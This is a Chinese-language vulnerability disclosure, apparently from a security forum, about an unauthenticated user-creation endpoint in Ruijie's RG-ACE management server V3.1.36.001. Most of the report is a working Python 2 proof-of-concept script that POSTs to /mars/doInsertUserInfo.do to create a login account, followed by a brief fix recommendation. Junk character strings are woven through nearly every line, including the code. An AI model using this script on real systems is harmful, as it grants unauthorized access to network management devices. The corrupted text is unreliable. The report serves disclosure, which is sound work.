锐捷应用控制引擎管理服务器(RG-ACE系列应用控制引擎管理服务器V3.1.36.001,官网的连接 http://www.ruijie.com.cn/service/down-search.aspx 显示是最新版)可以根据没有权限验证的接口直接增加用户,连接设备,查看设备信息和报表(权限相对于默认的admin比较低)
/ |, K; ]+ M7 @7 p v
% t2 ?9 H* G+ D+ @9 e
0 @* y- z8 g2 M4 x: }: G测试的具体版本是
( {- {6 g: h5 g, u) @产品名称: 锐捷应用控制引擎: f8 W. n; {: U( e7 `4 x, D7 F* }" A% x
版本号: 3.1.36.001 TC( O' h- j# O* P8 C3 H( {: D4 Y
编译时间: 201104291730
' z2 T8 j' E- H$ [$ B- m
1 `5 g; e+ S, H# i7 l5 p: i9 j) |
漏洞证明:
' M4 n. b0 ^8 Q' g1 e
6 }# X4 `' T2 G3 I( |, {9 s3 K/ m4 ~/ C* Q
* Z% Y" x8 i8 G8 W+ q' V; g: b3 Q! w: H& n% l8 O! W
# b5 H7 ^' ~9 D' D3 ?# v1 g& i1 `" J; s8 `2 F; c3 v
执行脚本
6 F! N! [7 e% ]- q( P Y#! /usr/bin/env python2 C1 S8 p: v: x" n7 |8 X
#coding=gbk5 W3 l! w* Y+ c, y5 _+ d1 e
#RG-ACE管理服务器 V3.1.36.001
* b/ y* K8 ~0 h- Aimport urllib2, urllib,cookielib
: z: O+ x- U; Yurl=r'http://IP/mars/doInsertUserInfo.do' #IP改为装这个软件的IP; U5 N# p: A/ M+ B
opener=urllib2.build_opener(urllib2.HTTPCookieProcessor(cookielib.CookieJar()))1 Z# V% v% b; v
opener.addheaders = [('User-agent','Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)')]' @" \( e1 @# D; l) `% W. e0 k
post=(("event","userManager.doInsertUserInfo"),
# G& g' n8 y1 C6 W3 \( |("useractionname","addButtonValue"),& `3 d/ s B' @, w1 u* n
("useropermanager","userManager"),
" {2 ^7 T2 o3 c' T$ U7 b$ B("userName","t"), #######账号自己加" P5 V) [& L3 i
("pwd","aaaaaa"),######密码自己加
3 g4 Y5 ^0 f' q! {$ B("trueName","ad"),3 a7 d2 |. g2 s( w* B- H
("email",""),- L% W7 b3 T9 t# ~( m
("mobilePhone",""),
1 j. ]- \# ^; e* u: z- T("officePhone",""),- U6 ^6 p# S& U# `# f; K
("addr",""),% b* ~' T" {7 }% U5 ^
("submit","确定"))( G/ P1 F* n, N) @: S
urllib2.install_opener(opener)- B$ d8 }6 R) B& i+ e: l3 W/ p
p=urllib2.urlopen(url, urllib.urlencode(post)).read()9 a. l% M7 j2 \* c
print "Done"
% z5 t8 d% z, S4 p* w4 V8 m k8 R- V3 k5 \
登录,连接设备 s2 w" d, `- J+ c# P5 w
6 D; s& `! ^5 C6 N3 g4 m
+ m$ p) R w: J0 _) k- p# Q
/ C7 e* T3 K. s% _9 J8 S
+ h/ M3 o4 u, f' T! o- H3 `/ A7 K+ c- C
默认的管理员admin权限更大点: ^3 q& b p) K% W1 x& [
V9 k5 L) @+ c( j% E
6 q C; A: H! a& L! d+ v A$ X' ~& b' e% }+ o$ C
/ O, t4 _8 p5 i y0 ]/ C3 |
& q9 j3 l5 M0 M) d" H5 ?4 \/ v, ~修复方案:
) g2 v- I! t1 v6 M# z. a3 e加强对接口的权限验证
; R- M* I; D6 |. v# @1 F9 d2 c5 r, r) q; ?. R) T
|